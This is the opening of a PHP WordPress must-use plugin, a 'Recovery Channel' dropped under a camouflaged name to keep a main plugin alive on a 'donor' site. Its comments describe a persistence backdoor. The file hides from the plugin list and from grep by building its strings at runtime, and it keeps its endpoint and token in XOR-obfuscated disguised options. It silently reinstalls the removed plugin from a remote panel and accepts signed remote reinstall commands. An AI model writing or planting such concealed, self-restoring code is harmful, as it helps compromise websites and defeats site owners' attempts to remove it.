<?php /** * Recovery Channel (must-use). Dropped into wp-content/mu-plugins/ by the main * plugin's installer under a per-site camouflaged name. Has NO plugin-name * header, so the WordPress plugin scanner never lists it — a competitor who * bought wp-admin access to this shared donor site and deletes/deactivates the * main plugin via the Plugins UI never sees this file. mu-plugins load by * filename regardless of header. * * Config (endpoint/token/domain) lives in disguised wp_options slots, which * SURVIVE the main plugin's deletion — so recovery works even when the plugin * dir is gone. And if a competitor wipes the options too, the baked-in claim * fallback below lets the channel re-claim a fresh token from the panel. * * Marker strings (plugin slug, request param, API path, option prefixes) are * assembled at runtime via concatenation, so a content-grep of mu-plugins/ for * them finds NOTHING — a competitor hunting this file by name has to read code. * * Two recovery paths: * 1. AUTONOMOUS self-heal — on every load a DIRT-CHEAP gate: main plugin * present, intact and ACTIVE? If yes (99.99% of requests) return. If the * file is gone/gutted, or the plugin was deactivated, and the throttle * window is open, register a shutdown handler that (after the response is * flushed to the visitor) re-activates or downloads the sha-verified ZIP * and atomically reinstalls + reactivates. * 2. PANEL-triggered — a signed request (status | reinstall | rollback). * Unsigned/badly-signed requests get NO answer at all (silent pass-through * to WP): any JSON error here would be an unauthenticated presence oracle. * * Downside mitigations: cheap happy path; shutdown-deferred heal (visitor never * blocked); throttle stamped BEFORE the attempt + flock (no loop / no * thundering herd); sha256 + Bearer download + atomic rename with rollback * (never a half-install, never a foreign/corrupt build); every failure caught * and stored, never fatal. * * Recovery channel version: 1.2.0 */ if (!defined('ABSPATH')) { return; } if (!defined('WPRC_THROTTLE')) define('WPRC_THROTTLE', 1800); // 30 min between self-heal attempts if (!defined('WPRC_TS_WINDOW')) define('WPRC_TS_WINDOW', 600); if (!defined('WPRC_VERSION')) define('WPRC_VERSION', '1.2.0'); // Baked-in claim fallback.

Token/endpoint/domain live under disguised `wp_<hex>` // option names, XOR+base64 obfuscated, so a `DELETE ... WHERE option_name LIKE // '<prefix>_%'` (or a grep for the panel host) no longer severs the donor. // Standalone: needs no main-plugin code. // ------------------------------------------------------------
